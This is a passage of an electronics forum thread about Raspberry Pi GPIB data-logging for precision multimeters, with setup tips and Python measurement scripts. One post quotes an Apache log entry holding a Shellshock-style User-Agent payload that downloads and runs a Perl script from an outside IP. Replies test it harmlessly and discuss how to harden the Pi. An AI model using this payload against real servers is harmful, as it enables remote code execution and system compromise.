  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #200 on: January 01, 2017, 01:29:09 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

82357B is not working, but we hope it will be fixed soon.
Maybe you can try to use different adapter like http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html

I got the Arduino going as a GPIB interface.   Just have to get the GPIB connector made to connect to my Rigol DM3068.

pi@raspberrypi:~ $ sudo bash connect2.sh /dev/ttyACM0 115200
++verbose
verbose: ON^M
^M
> ++ver
ARDUINO GPIB firmware by E. Girlando Version 6.1^M
^M
> ++info
Dwaine's Arduino Uno Rev 3 GPIB Device^M
^M
>
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #201 on: January 01, 2017, 09:24:24 am »
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

@Steve
Would you care to elaborate a bit ?

Especially where/how to get the initial raspbian image ?

Did you follow TiN's guide 100%, he specifically specifies get headers for a 3.x kernel
https://xdevs.com/guide/agilent_gpib_rpi/

This is the first time i have heard actuall confirmation that a kernel 4.x works w. an Agilent

I have an original Raspi 512Mb (v1) , and tried somewhat the same here
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160

But my initial image was Noobs 1.41, meaning i ended up with a 3.x kernel.


/Bingo
« Last Edit: January 01, 2017, 09:58:36 am by bingo600 »
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #202 on: January 01, 2017, 10:32:04 am »
I followed TiN's guide located here:
https://xdevs.com/guide/agilent_gpib_rpi/
At the time I hadn't read this thread and knew nothing about any incompatibilities.

On my first try I started with raspbian jessie lite from here:
https://www.raspberrypi.org/downloads/raspbian/

I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.
So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:
https://downloads.raspberrypi.org/raspbian_lite/images/
edit - the specific build I used is "2016-05-27-raspbian-jessie-lite"

It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.

If I got any errors a long the way it was nothing major.
It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.
I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.
Give it a try, I am sure it will work for you, if not we'll figure it out.
As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.
« Last Edit: January 02, 2017, 03:08:41 am by TheSteve »
VE7FM
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #203 on: January 01, 2017, 03:04:29 pm »
I followed TiN's guide located here:
https://xdevs.com/guide/agilent_gpib_rpi/
At the time I hadn't read this thread and knew nothing about any incompatibilities.

On my first try I started with raspbian jessie lite from here:
https://www.raspberrypi.org/downloads/raspbian/

I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.
So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:
https://downloads.raspberrypi.org/raspbian_lite/images/

It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.

If I got any errors a long the way it was nothing major.
It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.
I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.
Give it a try, I am sure it will work for you, if not we'll figure it out.
As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.

I tried several combinations RPI2/RPI3 and genuine and clone 82357B adapter without success. I used only the latest linux-gpib (4.0.3-r1) and gpib_firmware-2008-08-10
Oldest Raspbian ( 2016-02-09-raspbian-jessie.zip pdated of course but with kernel 4.1.17  )till 4.9 not working
Gentoo running on RPi2/RPI3 with kernels from 3.18  to 4.9 are not working.


 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #204 on: January 02, 2017, 07:11:59 am »
Well, I can't say I am surprised by theSteve's result - it did work once for me but I was never able to recreate it. Upon reboot it never worked again. At the time I thought it had to do with the pyVisa TiN installs at the end but even that did not work when I tried to reinstall.

It may have to do with one of the package updates/upgrade. I guess the moral of the story is if it works don't touch it (no updates no upgrades!)...
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #205 on: January 02, 2017, 09:13:20 am »
As a last ditch if needed I can make the exact image I used available for download.
Please do that.

In the meantime I'll try to recreate my again.
It's fantastic news. :-+
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #206 on: January 02, 2017, 09:38:45 am »
As a last ditch if needed I can make the exact image I used available for download.
Please do that.

^ +1  :-+
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #207 on: January 02, 2017, 11:11:55 am »
Just got some more info from Steve

Quote
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

I used - 2016-05-27-raspbian-jessie-lite

pi@gpib:~ $ gpib_config -v
linux-gpib version = 4.0.3 [r1652]

This seems like the latest SVN , at least just before Xmas

/Bingo
« Last Edit: January 02, 2017, 11:32:16 am by bingo600 »
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #208 on: January 02, 2017, 07:06:21 pm »
[..]
When you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.
That is generally not the case as the program to be started is connected to STDIN (the input from the current terminal session unless otherwise specified).  If you disconnect, programs started in that terminal session receive SIGHUP, which causes them to terminate (unless they specified a non-default signal handler).

You can let commands keep running in the background after you disconnect, by using the (standard) 'nohup' utility as follows:
`nohup your-program &`.

If you plan to reattach to that terminal session (e.g. if your network connection is unreliable), an utility like 'screen' (included in Debian/Raspbian, but sadly not installed by default) is needed.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #209 on: January 02, 2017, 07:18:41 pm »
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.
VE7FM
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #210 on: January 02, 2017, 07:41:29 pm »
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

I;m also using screen and it is preinstalled in image.
Basic usage:
sudo screen -S BME280      for run new screen seesiona named BME280 where you can execure for instance ./BME_Log.py, when script is running properly, by pressing Crtl+A followed by D session will be                disconnected
sudo screen -list                  will give you list of running sessions and their status
sudo screen -R BME280      will attach the screen called BME280.xxx

 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #211 on: January 02, 2017, 08:35:26 pm »
A small mod to the BME_Log.py script so that it runs with only one sensor present.
 

Offline linux-works

  • Super Contributor
  • ***
  • Posts: 1993
  • Country: us
    • netstuff
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #212 on: January 02, 2017, 08:43:58 pm »
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

screen is old and had bugs.

try tmux.  I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #213 on: January 02, 2017, 11:11:42 pm »
A small mod to the BME_Log.py script so that it runs with only one sensor present.

Thanks, I will put it to Github and to next image.

Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

screen is old and had bugs.

try tmux.  I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.
I'm using screen for while and do not have reason to change it. I will give a try to tmux :)
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #214 on: January 02, 2017, 11:21:27 pm »
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #215 on: January 03, 2017, 12:36:22 am »
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

It is in my plans, please be patient :)
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #216 on: January 03, 2017, 01:10:14 pm »
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

It is in my plans, please be patient :)

You know it is only one click in Github, if you agree with the commits? :)
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #217 on: January 03, 2017, 03:17:25 pm »
I tweaked the logging script slightly that was provided with the LogNut image and I am getting a "Command not found" return error.  And now for some reason, I am getting an error when trying to run the original script that was provided.  I have not altered the provided script in any way.

Anyone know what could be causing this?
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #218 on: January 03, 2017, 03:36:21 pm »
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #219 on: January 03, 2017, 03:46:09 pm »
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now. 
All your volts are belong to me
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #220 on: January 03, 2017, 04:55:25 pm »
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now.

If you put #!/usr/bin/python2 as a first row of script you can omit python  and execute only by ./3458A_Log.py

BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #221 on: January 03, 2017, 04:57:58 pm »
quote author=CalMachine link=topic=77301.msg1105349#msg1105349 date=1483458369]
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now.
[/quote]

If you put #!/usr/bin/python2 as a first row of script you can omit python  and execute only by ./3458A_Log.py

BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.

You know it is only one click in Github, if you agree with the commits? :)
Yes, but I would like to review it and test it, so it takes more time.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #222 on: January 03, 2017, 07:32:40 pm »
BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.

I came to share my tweaks and when I copy pasted it, I noticed something I messed up... which led me to scrutinise the code more.  The tweaks I made were completely unnecessary, I feel.  I had added just a single measurement every so often of one of my 10V Standards, but then I noticed at the bottom you already had code that did just that.

Is there an easy way I can go about stopping a script that is currently running?
« Last Edit: January 03, 2017, 07:34:55 pm by CalMachine »
All your volts are belong to me
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #223 on: January 03, 2017, 08:02:07 pm »
Press Ctrl+C
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #224 on: January 04, 2017, 05:57:54 am »
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #225 on: January 04, 2017, 08:14:28 am »
Looks pretty harmless to me. The shell code is in the user-agent field, but it is not executed. I just tested it like this:

Code: [Select]
wget --user-agent="() { :;}; /bin/bash -c \"wget localhost - O /tmp/test\"" localhost

and the file /tmp/test was not created, at least not on my Debian PC, didn't test it on the Raspberry Pi so far (don't have access to it at the moment), but in the Apache access log it looks very similar to your line. Looks like there is some HTTP server out there which executes the user-agent field with this special text, which is really stupid.

If you don't need to access the Raspberry Pi from the internet, you should not make it accessible from the internet (e.g. with a NAT rule). If it is accessible from the internet, there are other things you have to take care of, like only allow to access port 80, otherwise someone could hack it with the default password for the ssh-login or the samba directory export. Note: changing the password for the pi-user doesn't change the password for the samba access. Maybe in the readme of the distribution some security notes should be added.

And maybe better to use something like Lighttpd instead of Apache? I use this on my internet server, because it has a better security history than Apache and it is not as heavy.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #226 on: January 04, 2017, 01:53:05 pm »
I saw the 200 code and wonder if it was really successful or not.  The rm command would of wiped out the perl script.  But testing like you did, proves it was not successful.

Greeezzzz....  These BOT people really ruin things on the Internet...

Dwaine

 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #227 on: January 06, 2017, 06:57:07 pm »
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

Could originate from here
http://www.nothink.org/honeypot_web_user_agent.txt

/Bingo
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #228 on: January 06, 2017, 07:34:23 pm »
Here is my slightly tweaked code from the logging code that was provided.  Whenever I try to run the script, it only seems to work about half of the time... 

The half of the time where it does seems like it is doing its thing and looping properly and triggering measurements, but not logging properly.  It will just print out data taken over a certain amount of time, all at once. 

The other half it seems like it just gets hung up on the inst.write("ID?") for reason.   :scared:

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Code: [Select]
# Python script for logging 10V DC Standard on 3458A with automatic ACAL
import os.path
import sys
import Gpib
import time

# 3458A GPIB Address = 22
inst = Gpib.Gpib(0,22, timeout=120)
inst.clear() 
inst.write("ID?")
print(inst.read())

LogDir = '/pub/logs/'
LogFile= LogDir + 'LES289+175.csv'
##LogFile_ACAL= LogDir + '3458A_ACAL_DCV_Log.csv'

# Setup HP 3458A
inst.write("PRESET NORM")
inst.write("OFORMAT ASCII")
inst.write("NPLC 100")
inst.write("NRDGS 1")
inst.write("NDIG 9")
inst.write("TARM auto")
inst.write("DCV 10")
inst.write("RES 0.00000001")

# ACAL reference temperature
##ACAL_Temperature = 42.4
##ACAL_Counter = 0
# Perform ACAL if internal temperature differce is bigger than 1K
ACAL_Treshold = 1 # every 1 deg C
ACAL_TimeInterval = 86400 # every 24h=86400

reflevel = 9.9999479

ppm = 0
tRead = 1
##Last_ACAL_TimeStamp = 0
##TempMeasurement_Interval = 500

# Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("TimeStamp,Voltage,Temperature,ppm\r\n")
    MeterLog.close()
   
# Check ACAL file presence, write header
##if (os.path.isfile(LogFile_ACAL) == False):
 ## with open(LogFile_ACAL, 'a') as ACALLog:
 ##   ACALLog.write("TimeStamp,DCV_Gain,Temperature\r\n")
 ##   ACALLog.close()
   
while True:
  with open(LogFile, 'a') as MeterLog:
    ##tRead = tRead - 1
    ##if (tRead == 0):
    ##  tRead = TempMeasurement_Interval
    ##  inst.write("TARM Autokr ")
   ##   inst.write("TEMP?")
   ##   Temperature = float(inst.read())
   ## if (abs(ACAL_Temperature - Temperature) >= ACAL_Treshold) or (time.time() - Last_ACAL_TimeStamp >= ACAL_TimeInterval):
   ##     print('Temperature or time difference since last ACAL is higher than set treshold %.1f C / %d s') %(float(ACAL_Treshold),ACAL_TimeInterval)
   ##     print('Since start ACAL performed %.0f times') %float(ACAL_Counter)
   ##     print('Performing ACAL DCV, it will takes 3 minutes')
   ##     ACAL_Counter+=1
   ##     inst.write("ACAL DCV")
   ##     Last_ACAL_TimeStamp = time.time()
   ##     time.sleep(180)
   ##     inst.write("CAL? 72")
   ##     DCV10Gain = float(inst.read())
   ##     ACAL_Temperature = Temperature
   ##     print("Internal Temperature = %2.1f")%float(Temperature)
   ##     print("10V Gain DCV = %.9f ")%DCV10Gain
   ##     with open(LogFile_ACAL, 'a') as ACALLog:
   ##       ACALLog.write (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.9f,%.2f\r\n" % (float(DCV10Gain),float(Temperature) ) ))
   ##       ACALLog.close()
   
    inst.write("trig sgl")
    time.sleep(10)
    standard10DCV = float(inst.read())
    ppm = ((standard10DCV / reflevel)-1)*1E6
    ##print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%d x ACAL\t%.8f\t%.3f ppm\t%.1f C") % (ACAL_Counter, float(data),float(ppm),float(Temperature) ) )
    print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%.10f\t%.3f ppm") % (float(data),float(ppm)) )
    MeterLog.write("I'm Getting ") + (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.8f,%.1f,%.3f\r\n" % (float(data),float(Temperature),float(ppm) ) ))
    MeterLog.close()
All your volts are belong to me
 

Offline dr.diesel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #229 on: January 06, 2017, 08:58:49 pm »

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #230 on: January 06, 2017, 09:45:17 pm »

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

ACAL is currently unsecured.
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #231 on: January 07, 2017, 01:43:26 am »
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #232 on: January 07, 2017, 02:44:53 am »
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.

When measuring ACV with ACV Sync, the 'res' command was the only way I could find to get 7.5 digits of resolution on the display in 100 mV range.  It was weird... ndig wouldn't work for some reason.
I guess I just carried that command over to other functions to get the most resolution I could.
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #233 on: January 07, 2017, 02:56:21 am »
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #234 on: January 07, 2017, 08:30:46 pm »
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).

Here is a snippet from the performance verification procedure.  I'm not sure the command is even necessary in my particular situation.  I just saw that they tell you to use the command on ACV, I'm not really sure why I carried it over to DC.  I will take it out  :-+

"5. Configure the transfer standard DMM as follows:
-- ACV
-- SETACV SYNC
-- ACBAND 10,2E6
-- RANGE10
-- RES .001
-- TRIG SGL
-- LFILTER ON

6. Configure the DMM under test as follows:
-- ACV
-- SETACV ANA
-- ACBAND 10,2E6
-- RANGE10
-- RES .01
-- TRIG SGL
-- LFILTER ON"


Is there anyway I can see what is going on with the script and what command it is using, in real time?
« Last Edit: January 07, 2017, 08:58:32 pm by CalMachine »
All your volts are belong to me
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #235 on: January 09, 2017, 01:26:49 am »
Finally got my script working the way I want it to :D    This script is for testing the nominal DCV performance of a 3458A using a Datron 4808.  It's been awhile since I really got to program anything, so I really enjoyed this a lot!  I will be doing many more scripts to automate tests in the near future.  I've provided a copy of the script below, please critique it and let me know what I can do better  :-+


Code: [Select]
# Python script for running DCV Performance Verification of a 3458A utilizing a Datron 4808 MFC (LES687)
import os.path
import sys
import Gpib
import time

# Constants (3458A Ranges)
DCV_Ranges = 5
ACV_Ranges = 6
DCI_Ranges = 8
ACI_Ranges = 5
OHMF_Ranges = 9
numberOfMeasurements = 25

# variables
measurementCounter = 0
DCVCounter = 0
rangeCounter = 0
currentMeasurement = 0
runningTotal = 0
measurementAvg = 0
ppm = 0


# 4808 DCV Reference Values
dcv_100uV_FullRange = 99.899869e-6
dcv_1mV_FullRange = 0.99999469e-3
dcv_10mV_FullRange = 9.9999889e-3
dcv_100mV_FullRange = 99.998759e-3
dcv_1V_FullRange = 0.99999699
dcv_10V_FullRange = 9.9999909
dcv_100V_FullRange = 99.999749
dcv_1000V_FullRange = 999.99969

# 3458A GPIB Address = 22
inst_3458A = Gpib.Gpib(0,22, timeout=30)

# 4808 GPIB Address = 20
inst_4808 = Gpib.Gpib(0,20, timeout=30)

# log file path and name
LogDir = '/pub/logs/'
LogFile= LogDir + '3458A_DCV_Performance.csv'


# Setup the 3458A to begin testing
inst_3458A.write("PRESET NORM")                     # commands the 3458a to preset state
inst_3458A.write("OFORMAT ASCII")
inst_3458A.write("NPLC 100")                        # commands the 3458a to 100 number power line cycles
inst_3458A.write("NDIG 8")                          # commands the 3458a to display 8.5 digits of resolution
inst_3458A.write("TARM HOLD")
inst_3458A.write("TRIG AUTO")
inst_3458A.write("AZERO ON")
inst_3458A.write("NRDGS 1,AUTO")
inst_3458A.write("MEM OFF")
inst_3458A.write("END ALWAYS")
inst_3458A.write("DELAY 0")
inst_3458A.write("LFILTER ON")

# Setup the 4808 to begin testing
inst_4808.write("o0=")                               # commands the 4808 to output OFF
inst_4808.write("h100=")                             # commands the 4808 to a frequency of 100 if necessary
inst_4808.write("m0=")                               # commands the 4808 to an output value of 0
inst_4808.write("f0=")                               # commands the 4808 to DCV function
inst_4808.write("r1=")                               # commands the 4808 to the 100 uV range


# Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("3458A DCV Full Range Test\r\n")
    MeterLog.close()


# While loop to step through each DCV Range
while rangeCounter < DCV_Ranges:
    inst_3458A.write("DCV")                                         # commands the 3458A to DCV Function
    time.sleep(5)
    inst_4808.write("F0=")                                          # commands the 4808 to DCV Function
    time.sleep(5)

    # 100 mV range
    if rangeCounter == 0:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100e-3")                            # commands the 3458A to 100 mV range
        inst_4808.write("R4=")                                      # commands the 4808 to 100 mV Range
        inst_4808.write("M100e-3=")                                 # commands the 4808 to a value of 100 mV
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100mV_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 mV Range   : Nominal = %.10f Volts" %dcv_100mV_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1 V range
    elif rangeCounter == 1:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1")                                 # commands the 3458A to 1 V range
        inst_4808.write("R5=")                                      # commands the 4808 to 1 V Range
        inst_4808.write("M1=")                                      # commands the 4808 to a value of 1 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1V_FullRange)-1)*1E6                   # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
